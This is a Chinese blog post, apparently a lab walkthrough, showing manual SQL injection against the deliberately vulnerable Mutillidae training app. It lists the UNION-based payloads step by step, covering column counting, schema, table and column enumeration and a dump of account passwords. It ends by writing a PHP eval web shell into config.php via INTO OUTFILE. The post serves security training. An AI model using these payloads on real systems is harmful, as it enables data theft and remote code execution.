mutillidae2017A1SQL手工注入

靶场 同时被 2 个专栏收录
1 篇文章 0 订阅
1 篇文章 0 订阅
环境: PHPstudy     Mutillidae-2.7.11

将mutillidae级别调至最低

在这里插入图片描述然后我们到mutillidae的注入点:

OWASP 2017 --> ”A1 - Injection” —>> ”SQLi - Extract Data” —>> ”User Info”

须知

SQL注入最重要的是寻找注入点,mutillidae 这里面的注入跟别的实际场景不一样,我们知道最常见的是去url上检测注入点。 当然像mutillidae 这样的构造的用户登陆的注入点检测也很多(常用的万能密码测试?)。只是目前自己遇到的还少。
实际操作
寻找注入点

在用户信息界面:单引号检测Name对应表单,结果如下:

通过这张图片我们就知道后端数据支撑的数据库类型是mysql了

我们还可以尝试是否能列出所有用户信息: ‘ or 1=1 #
结果我们得到了所有用户信息。(图略)
猜解查询结果集字段

我们使用如下语句:

 ’ order by 10 #   页面出错
 ’ order by 5  #   页面无数据
 ’ order by 7  #   页面无数据
 ’ order by 8  #   页面出错

所以猜到查询结果集的列数为 7列
猜数据库类型,链接用户,数据库名

先用如下语句得到哪些字段可以用来显示数据:

' and 1=2 union select 1,2,3,4,5,6,7 #

在这里插入图片描述
然后构造语句:

' and 1=2 union select 1,user(),version(),database(),5,6,7 #

然后我们就得到了如下信息

Username=root@localhost
Password=5.7.24
Signature=mutillidae

如果只有一个字段可以显示信息的,那么我们可以用concat_ws函数方便一次性得到数据

' and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3,4,5,6,7 #

得到的信息如下:

Username=root@localhost : mutillidae : 5.7.24
Password=3
Signature=4

这下知道是mysql5以上的数据库,那么我们就可以直接利用系统库爆出一些信息
获取所有的库名

' and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7 from information_schema.SCHEMATA  #

得到的数据库名如下:

information_schema
dvwa
library
mutillidae
mysql
performance_schema
sys
website
得到的数据库还是蛮多的,放在这儿,作为检测,这些都是可利用的信息,或许以后有用
获取当前链接数据库下的所有表名

' and 1=2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x6d7574696c6c69646165#

其中0x6d7574696c6c69646165是mutillidae的十六进制编码

得到的表名如下:

accounts
balloon_tips
blogs_table
captured_data
credit_cards
help_texts
hitlog
level_1_help_include_files
page_help
page_hints
pen_test_tools
youtubevideos

这表也是蛮多的,但是一般我们只需要我们有用的表就行,目前需要的是系统用户信息表,这里看就是accounts表了
获取字段

’ and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x6163636F756E7473 #

其中0x6163636F756E7473是accounts的16进制编码

得到的字段如下:

cid
username
password
mysignature
is_admin
firstname
lastname
USER
CURRENT_CONNECTIONS
TOTAL_CONNECTIONS

获取字段值

' and 1=2 union select 1,username,password,mysignature,5,6,7 from accounts#

你会发现这跟之前的万能密码爆出来的东西一样。 这大概就是mysql 5的注入获取数据的过程,
获取websehll

然后你需要找后台,找上传点,上传你的小马。或者试下下面简单快捷方法,写入一句话(需要你有写入权限)

'union select 1,'<?php eval($_POST['cmd']);?>',3,4,5,6,7 into outfile 'D:\\study\\PHPstudy\\PHPTutorial\WWW\\mutillidae\\config.php'#
  • 0
    点赞
  • 0
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值